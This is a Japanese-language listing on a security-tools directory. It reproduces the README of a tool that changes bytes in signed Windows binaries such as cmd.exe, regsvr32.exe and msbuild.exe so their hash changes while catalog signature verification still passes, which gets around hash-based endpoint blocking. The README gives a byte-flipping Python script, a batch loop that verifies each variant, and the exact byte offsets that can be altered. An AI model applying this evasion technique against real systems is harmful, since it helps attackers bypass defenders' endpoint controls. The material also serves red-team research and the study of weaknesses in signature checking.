Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Windows-SignedBinary — 署名済みWindowsバイナリを変異させ、ファイルハッシュを変更しながら有効なカタログ署名を保持することで、ハッシュベースのエンドポイントブロックを回避し、Authenticode検証のギャップを露呈します。 | Kitploit
ツール/GitHubGitHub/mr-un1k0d3r/windows-signedbinary
ハッシュ分析IDS/IPS回避リバースエンジニアリングペネトレーションテストバイナリ解析レッドチーミング敵対的攻撃
GitHubmr-un1k0d3r/windows-signedbinary

Windows-SignedBinary

署名済みWindowsバイナリを変異させ、ファイルハッシュを変更しながら有効なカタログ署名を保持することで、ハッシュベースのエンドポイントブロックを回避し、Authenticode検証のギャップを露呈します。

リポジトリを見る
25966247年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

異なるハッシュを持つWindows署名付きバイナリを生成する

このアイデアは、「regsvr32.exe」などの既知の「悪意のある」署名付きアプリケーションをブロックするエンドポイントソリューションをバイパスすることでした。 有効な署名付きファイルで、異なるハッシュを持つものを取得する方法を探していました。

分析

signtool verify /v /a cmd.exe を使用

C:\signcheck>signtool verify /a /v cmd.exe

Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3

Signing Certificate Chain:
    Issued to: Microsoft Root Certificate Authority
    Issued by: Microsoft Root Certificate Authority
    Expires:   Sun May 09 19:28:13 2021
    SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072

出力に基づいて、「Hash of file」がcmd.exeのSHA1だと思いました(7EB22CBAA74B208DF433C70C06A99280036A52F3)

さらに調べたところ、cmd.exeファイルのSHA1は次のとおりです

$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe

興味深いことに、同じファイルで2つの異なるハッシュが得られました。

テストファイルの生成

この時点で、署名がファイルのすべてのセクションを含んでいない可能性があると推測しました。

簡単なPythonスクリプトを作成してテストファイルを生成しました。

import sys

orig = list(open(sys.argv[1], "rb").read())

i = 0
while i < len(orig):
	current = list(orig)
	current[i] = chr(ord(current[i]) ^ 0xde)
	path = "%d.exe" % i
	
	output = "".join(str(e) for e in current)
	open(path, "wb").write(output)
	i += 1
	
print "done"

その後、python generate.py cmd.exe を実行し、300GBを超える新しいファイルを生成しました。

最終ステップ

次に、作成した各ファイルが署名テストに合格するかどうかを検証する必要があります。

簡単なバッチファイルでそれを行うことができます

FOR /L %%A IN (1,1,10000) DO (
	signtool verify /v /a %%A.exe
)

バイナリ330.exeは署名チェックに合格しました。 この場合、オフセット330が変更されているため、ファイルは異なります。

C:\signcheck>signtool verify /a /v 330.exe

Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe

$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe

cmd.exe

次のバイトは署名を壊さずに変更できます: 330, 331, 408 - 412

regsvr32.exe

次のバイトは署名を壊さずに変更できます: 320 - 323, 400 - 407

msbuild.exe (x86)

次のバイトは署名を壊さずに変更できます: 216 - 219

ツールをダウンロード